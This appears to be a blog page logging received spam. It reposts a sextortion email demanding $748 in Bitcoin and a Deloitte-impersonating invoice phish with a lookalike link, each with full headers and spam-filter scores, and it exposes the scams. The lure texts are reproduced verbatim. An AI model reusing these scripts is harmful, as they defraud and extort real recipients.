This is the word of honor hacker

I also ask you to regularly update your antiviruses in the future. This way you will no longer fall into a similar situation.

Do not hold evil! I just do my job.

Good luck.

Blackmail Phish

Posted by Dave Yadallee on Sunday, December 23. 2018

Return-path:

Envelope-to: aboo@nk.ca

Delivery-date: Sun, 23 Dec 2018 14:14:07 -0700

Received: from 088156136229.dynamic-ra-04.vectranet.pl ([88.156.136.229]:26184)

by doctor.nl2k.ab.ca with esmtp (Exim 4.91 (FreeBSD))

(envelope-from )

id 1gbB4H-000JFh-Kn

for aboo@nk.ca; Sun, 23 Dec 2018 14:14:07 -0700

Message-ID: <5189404BB49882BF67AEA55A766C5189@539Y51AAX>

From: "Security Team"

To: "dogs"

Subject: Frauders known your old password (dogs). Password must be changed.

Date: 23 Dec 2018 22:06:40 +0000

MIME-Version: 1.0

Content-Type: text/plain;

charset="ibm852"

Content-Transfer-Encoding: 8bit

X-Priority: 3

X-MSMail-Priority: Normal

X-Mailer: Microsoft Outlook Express 6.00.2900.2180

X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180

X-Spam_score: 15.2

X-Spam_score_int: 152

X-Spam_bar: +++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.

Content preview: Hello! I have bad news for you. 19/09/2018 - on this day I

hacked your OS and got full access to your account aboo@nk.ca On this day

your account aboo@nk.ca has password: dogs So, you can change the password,

yes.. But my malware intercepts it every time.

Content analysis details: (15.2 points, 5.0 required)

pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[88.156.136.229 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in

dnsbl.ahbl.org

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[88.156.136.229 listed in bl.score.senderscore.com]

0.0 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP

address

[88.156.136.229 listed in dnsbl.sorbs.net]

0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was

blocked. See

http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block

for more information.

[URIs: nk.ca]

0.2 CK_HELO_GENERIC Relay used name indicative of a Dynamic Pool or

Generic rPTR

0.3 LONGWORD BODY: Uses overlong words

1.0 ZMIde_OutlookExpress Outlook Express should not be used anymore

0.4 RDNS_DYNAMIC Delivered to internal network by host with

dynamic-looking rDNS

2.0 HDR_ORDER_FTSDMCXX_DIRECT Header order similar to spam

(FTSDMCXX/boundary variant) + direct-to-MX

1.0 RCVD_IN_SORBS No description available.

1.0 RCVD_IN_DYNABLOCK No description available.

0.9 MIMEOLE_DIRECT_TO_MX MIMEOLE + direct-to-MX

3.1 DOS_OE_TO_MX Delivered direct to MX with OE headers

Subject: {SPAM?} Frauders known your old password (dogs). Password must be changed.

Hello!

I have bad news for you.

19/09/2018 - on this day I hacked your OS and got full access to your account aboo@nk.ca

On this day your account aboo@nk.ca has password: dogs

So, you can change the password, yes.. But my malware intercepts it every time.

How I made it:

In the software of the router, through which you went online, was a vulnerability.

I just hacked this router and placed my malicious code on it.

When you went online, my trojan was installed on the OS of your device.

After that, I made a full dump of your disk (I have all your address book, history of viewing sites, all files, phone numbers and addresses of all your contacts).

A month ago, I wanted to lock your device and ask for a not big amount of btc to unlock.

But I looked at the sites that you regularly visit, and I was shocked by what I saw!!!

I'm talk you about sites for adults.

I want to say - you are a BIG pervert. Your fantasy is shifted far away from the normal course!

And I got an idea....

I made a screenshot of the adult sites where you have fun (do you understand what it is about, huh?).

After that, I made a screenshot of your joys (using the camera of your device) and glued them together.

Turned out amazing! You are so spectacular!

I'm know that you would not like to show these screenshots to your friends, relatives or colleagues.

I think $748 is a very, very small amount for my silence.

Besides, I have been spying on you for so long, having spent a lot of time!

Pay ONLY in Bitcoins!

My BTC wallet: 1J5SXcupgaq2tUas5S7wVtf7evJp6YC3LJ

You do not know how to use bitcoins?

Enter a query in any search engine: "how to replenish btc wallet".

It's extremely easy

For this payment I give you two days (48 hours).

As soon as this letter is opened, the timer will work.

After payment, my virus and dirty screenshots with your enjoys will be self-destruct automatically.

If I do not receive from you the specified amount, then your device will be locked, and all your contacts will receive a screenshots with your "enjoys".

I hope you understand your situation.

- Do not try to find and destroy my virus! (All your data, files and screenshots is already uploaded to a remote server)

- Do not try to contact me (you yourself will see that this is impossible, the sender address is automatically generated)

- Various security services will not help you; formatting a disk or destroying a device will not help, since your data is already on a remote server.

P.S. You are not my single victim. so, I guarantee you that I will not disturb you again after payment!

This is the word of honor hacker

I also ask you to regularly update your antiviruses in the future. This way you will no longer fall into a similar situation.

Do not hold evil! I just do my job.

Good luck.

Deloitte Phishing Spam

Posted by Dave Yadallee on Thursday, October 25. 2018

From - Thu Oct 25 13:25:51 2018

X-Account-Key: account2

X-UIDL: 00067dca501fb806

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

X-Mozilla-Keys:

Return-path:

Envelope-to: support@nk.ca

Delivery-date: Thu, 25 Oct 2018 10:52:22 -0600

Received: from [95.211.170.211] (port=55763 helo=deloitteca.com)

by doctor.nl2k.ab.ca with esmtp (Exim 4.91 (FreeBSD))

(envelope-from )

id 1gFirK-000DQj-89

for support@nk.ca; Thu, 25 Oct 2018 10:52:22 -0600

DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=key; d=deloitteca.com;

h=Mime-Version:From:Date:To:Subject:Content-Type:Message-ID;

bh=qcPUpwspMNM3pXIhE7uipZuHsNE=;

b=gkXVLD1mc3tPkHkm/rNIFH+xw7jUup8e/mHjlkgR2JldSkzN5syAl7AI09KbuztADUM+V7iUOkYk

DHBsbW/t0a/FVfbPdKyVqNXqZwshRCnXW8GKA7CKDjnHMKOnL+bfNrRVF6v+TdRZTOujbaICe2bB

ghF2v9EcJXDRIftiyS0=

Received: by deloitteca.com id hq7qjjcpsj84 for ; Thu, 25 Oct 2018 12:50:24 -0400 (envelope-from )

Mime-Version: 1.0

From: "Nathalie Tessier"

Date: Thu, 25 Oct 2018 12:50:24 -0400

To: support@nk.ca

Subject: FW: Alert - Invoice Overdue!

Content-Type: multipart/alternative;

boundary=230cdfb26e2bc5883c870cd8ab723268

Message-ID: <0.0.9.0.1D46C82D33A6842.23DBF7F3@deloitteca.com>

X-Spam_score: 6.2

X-Spam_score_int: 62

X-Spam_bar: ++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.

Content preview: Deloitte Alert - Invoice Overdue! We are writing you further

to our letter, relateing to the overdue invoice as detailed above. The total

amount of $14,651.73 is still outstanding on your account. If the full amount

is not received within seven days the Deloitte will have no alternative but

to commence legal proceesings throug [...]

Content analysis details: (6.2 points, 5.0 required)

pts rule name description

---- ---------------------- --------------------------------------------------

0.0 T_SPF_TEMPERROR SPF: test of record failed (temperror)

0.0 T_SPF_HELO_TEMPERROR SPF: test of HELO record failed (temperror)

0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily

valid

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.0 HTML_MESSAGE BODY: HTML included in message

2.4 RAZOR2_CF_RANGE_E8_51_100 Razor2 gives engine 8 confidence level

above 50%

[cf: 100]

0.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%

[cf: 100]

1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)

0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid

0.0 LOTS_OF_MONEY Huge... sums of money

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

Subject: {SPAM?} FW: Alert - Invoice Overdue!

--230cdfb26e2bc5883c870cd8ab723268

Content-Transfer-Encoding: quoted-printable

Content-Type: text/plain; charset=UTF-8

Deloitte

Alert - Invoice Overdue!

We are writing you further to our letter, relateing to the overdue invoice =

as detailed above.

The total amount of $14,651.73 is still outstanding on your account. If the=

full amount is not received within seven days the Deloitte will have no al=

ternative but to commence legal proceesings through the Court.

We have attached a copy of the invoice for your reference, you can view or =

download it using the link below:

https://deloitteca.com/doc2301-321_x-r-deloitte_calayout_plda328hd-5511-489=

c-8ca7-3281hdsal20276_7D_action=3Ddefault_uid=3D_7BFDC3EB56-5123-489C-8CA7-=

A87ECAFF5876_7D_ListItemId=3D86_ListId=3D_7B1B27C90C-AB59-481D-BB20-8A221AD=

DAAAD7_7D_plas=3D1_envion=3Dproduction/invoice10252018.htm

Questions or comments?

Contact me at: Nathalie.Tessier@deloitte.ca

Best regards,

Nathalie Tessier

Managing Partner, Audit and Assurance

Deloitte LLP

http://www.deloitte.ca

**This message contains confidential information and is intended only for t=

he individual named. If you are not the named addressee, you should not dis=

seminate, distribute or copy this email. Please notify the sender immediate=

ly by email if you have received this email by mistake and delete this emai=

l from your system. Email transmission cannot be guaranteed to be secure or=

error-free, as information could be intercepted, corrupted, lost, destroye=

d, arrive late or incomplete, or contain viruses. The sender, therefore, do=

es not accept liability for any errors or omissions in the contents of this=

message which arise as a result of email transmission. If verification is =

required, please request a hard-copy version.

Bay Adelaide Centre, East Tower

8 Adelaide Street West, Suite 200

Toronto, ON M5H 0A9

Deloitte, one of Canada's leading professional services firms, provides aud=

it, tax, consulting, and financial advisory services. Deloitte LLP, an Onta=

rio limited liability partnership, is the Canadian member firm of Deloitte =

Touche Tohmatsu Limited.

Deloitte refers to one or more of Deloitte Touche Tohmatsu Limited, a UK pr=

ivate company limited by guarantee, and its network of member firms, each o=

f which is a legally separate and independent entity. Please see www.deloit=

te.com/about for a detailed description of the legal structure of Deloitte =

Touche Tohmatsu Limited and its member firms.

=C2=A9 Deloitte LLP and affiliated entities.

--230cdfb26e2bc5883c870cd8ab723268

Content-Transfer-Encoding: quoted-printable

Content-Type: text/html; charset=UTF-8

gin:0;padding-top:0;padding-bottom:0;padding-right:0;padding-left:0;backgro=

und-color:#f3f3f3;font-family:'Open Sans',verdana,arial,sans-serif!=

important;font-weight:400;font-size:14px">

llapse;border-spacing:0;background-color:#000000;width:100%" width=3D"100%"=

cellspacing=3D"0" cellpadding=3D"0" border=3D"0" bgcolor=3D"#000000">

ter">

251mobile-full m_-6399694944257310251mheader" style=3D"border-collapse:coll=

apse;border-spacing:0;background-color:#000000;width:640px" width=3D"640" c=

ellspacing=3D"0" cellpadding=3D"0" border=3D"0" bgcolor=3D"#000000">

collapse:collapse;color:#ffffff;font-size:16px;line-height:22px;padding-top=

:15px;padding-bottom:15px;padding-right:10px;padding-left:10px;text-align:l=

eft" align=3D"left">

d-color:#000000;width:100%" width=3D"100%" cellspacing=3D"0" cellpadding=3D=

"0" border=3D"0" bgcolor=3D"#000000">

0251mheader" style=3D"border-collapse:collapse" valign=3D"bottom" align=3D"=

left">

3D"Deloitte"

o" src=3D"http://images.info.deloitte.ca/EloquaImages/clients/DeloitteManag=

ementServicesLP/%7Bc3555284-3e3f-4b01-8b4c-f771dc5473d9%7D_email-template-d=

eloitte-logo.png" style=3D"outline-style:none;border-style:none;display:blo=

ck" width=3D"175" height=3D"35">

lapse:collapse;border-spacing:0;background-color:#f3f3f3" width=3D"100%" ce=

llspacing=3D"0" cellpadding=3D"0" border=3D"0" bgcolor=3D"#000">

251mobile-full m_-6399694944257310251col-1" style=3D"border-collapse:collap=

se;border-spacing:0;background-color:#000" width=3D"640" cellspacing=3D"0" =

cellpadding=3D"0" border=3D"0" bgcolor=3D"#000">

51block__content" style=3D"border-collapse:collapse;color:#ffffff;padding-t=

op:20px;padding-bottom:20px;padding-right:20px;padding-left:20px;border-top=

-width:3px;border-top-style:solid;border-top-color:#f3f3f3;text-align:left"=

bgcolor=3D"#000">

p:0;Margin-top:0;font-size:29px;line-height:34px;margin-bottom:4px;Margin-b=

ottom:4px;font-weight:700">

Alert - Invoice Overdue!

ollapse;border-spacing:0;background-color:#f3f3f3;height:100%" width=3D"100=

%" cellspacing=3D"0" cellpadding=3D"0" border=3D"0">

pse:collapse" align=3D"center">

collapse:collapse;border-spacing:0;background-color:#f3f3f3" width=3D"100%"=

cellspacing=3D"0" cellpadding=3D"0" border=3D"0">

310251mobile-full m_-6399694944257310251col-1" style=3D"border-collapse:col=

lapse;border-spacing:0;background-color:#fff" width=3D"640" cellspacing=3D"=

0" cellpadding=3D"0" border=3D"0">

r-collapse:collapse;color:#000;padding-top:20px;padding-bottom:20px;padding=

-right:20px;padding-left:20px;border-top-width:3px;border-top-style:solid;b=

order-top-color:#f3f3f3;text-align:left">

We are writing you further to our letter, relateing to the overdue invoice =

as detailed above.

The total amount of $14,651.73 is still outstand=

ing on your account. If the full amount is not received within seven days t=

he Deloitte will have no alternative but to commence legal proceesings thro=

ugh the Court.

We have attached a copy of the invoice for your reference, you can view or =

download it using the link below:

mobile-full" style=3D"border-collapse:collapse;border-spacing:0;background-=

color:#fff" width=3D"600" cellspacing=3D"0" cellpadding=3D"0" border=3D"0">

=09

hd-5511-489c-8ca7-3281hdsal20276_7D_action=3Ddefault_uid=3D_7BFDC3EB56-5123=

-489C-8CA7-A87ECAFF5876_7D_ListItemId=3D86_ListId=3D_7B1B27C90C-AB59-481D-B=

B20-8A221ADDAAAD7_7D_plas=3D1_envion=3Dproduction/invoice10252018.htm">http=

s://deloitteca.com/doc2301-321_x-r-deloitte_calayout_plda328hd-5511-489c-8c=

a7-3281hdsal20276_7D_action=3Ddefault_uid=3D_7BFDC3EB56-5123-489C-8CA7-A87E=

CAFF5876_7D_ListItemId=3D86_ListId=3D_7B1B27C90C-AB59-481D-BB20-8A221ADDAAA=

D7_7D_plas=3D1_envion=3Dproduction/invoice10252018.htm

Questions or comments?
Contact me at: Nathalie.Tessier@deloitte.ca =

Best regards=

,

Nathalie Tessier
Managing Partner, Audit and=

Assurance

Deloitte LLP

amp;elqTrackId=3D7177de5f37284c618d1f496dd2a44ee6&elq=3Dfc2f2de5eb06442=

7a45ef8d28f3127c9&elqaid=3D4834&elqat=3D1" style=3D"font-family:=

9;Open Sans',arial,Helvetica,sans-serif;font-size:14px;color:#00a1de;te=

xt-decoration:none" target=3D"_blank">http://www.deloitte.ca

**This message cont=

ains confidential information and is intended only for the individual named=

If you are not the named addressee, you should not disseminate, distribut=

e or copy this email. Please notify the sender immediately by email if you =

have received this email by mistake and delete this email from your system.=

Email transmission cannot be guaranteed to be secure or error-free, as inf=

ormation could be intercepted, corrupted, lost, destroyed, arrive late or i=

ncomplete, or contain viruses. The sender, therefore, does not accept liabi=

lity for any errors or omissions in the contents of this message which aris=

e as a result of email transmission. If verification is required, please re=

quest a hard-copy version.

=09

lapse:collapse;border-spacing:0;background-color:#f3f3f3" width=3D"100%" ce=

llspacing=3D"0" cellpadding=3D"0" border=3D"0">

=09

ile-full" style=3D"border-collapse:collapse;border-spacing:0;background-col=

or:#fff" width=3D"640" cellspacing=3D"0" cellpadding=3D"0" border=3D"0">

10251mobile-padded" style=3D"border-collapse:collapse;font-size:12px;line-h=

eight:16px;color:#aaaaaa;padding-top:20px;padding-bottom:20px;padding-right=

:20px;padding-left:20px" align=3D"left">

Bay Adelaide Centre, East Tower

8 Adelaide Street West, Suite 200

Toronto, ON M5H 0A9

Deloitte, one of Canada's leading professional services firms, pr=

ovides audit, tax, consulting, and financial advisory services. Deloitte LL=

P, an Ontario limited liability partnership, is the Canadian member firm of=

Deloitte Touche Tohmatsu Limited.

Deloitte refers to one or more of Deloitte Touche Tohmatsu Limited, a UK pr=

ivate company limited by guarantee, and its network of member firms, each o=

f which is a legally separate and independent entity. Please see
"http://www.deloitte.com/about?elqTrackId=3Df0e845110c4d410eb1661366b39c90b=

c&elq=3Dfc2f2de5eb064427a45ef8d28f3127c9&elqaid=3D4834&elqat=3D=

1&elqCampaignId=3D" style=3D"color:#00a1de;text-decoration:none" target=

=3D"_blank">www.deloitte.com/about for a detailed description of the le=

gal structure of Deloitte Touche Tohmatsu Limited and its member firms.

=C2=A9 Deloitte LLP and affiliated entities.

=20

=09

er-collapse:collapse;border-spacing:0;background-color:#f3f3f3;text-align:c=

enter" width=3D"100%" cellspacing=3D"0" cellpadding=3D"0" border=3D"0" alig=

n=3D"center">

=09

=09

--230cdfb26e2bc5883c870cd8ab723268--

Mon	Tue	Wed	Thu	Fri	Sat	Sun
← Back	August '21					Forward →
						1
2	3	4	5	6	7	8
9	10	11	12	13	14	15
16	17	18	19	20	21	22
23	24	25	26	27	28	29
30	31

N=20 style=3D"FONT-SIZE: 14pt; FONT-FAMILY: arial, sans-serif; FONT-WEIG= HT: bold; MARGIN: 2px 0px"> size=3D2 face=3D"Arial, Verdana">M087 Notice= : eBay=20 Registration Suspension - Section 9

p:0;Margin-top:0;font-size:29px;line-height:34px;margin-bottom:4px;Margin-b= ottom:4px;font-weight:700"> Alert - Invoice Overdue!

N=20

style=3D"FONT-SIZE: 14pt; FONT-FAMILY: arial, sans-serif; FONT-WEIG=

HT: bold; MARGIN: 2px 0px">
size=3D2 face=3D"Arial, Verdana">M087 Notice=

: eBay=20

Registration Suspension - Section 9

p:0;Margin-top:0;font-size:29px;line-height:34px;margin-bottom:4px;Margin-b=

ottom:4px;font-weight:700">

Alert - Invoice Overdue!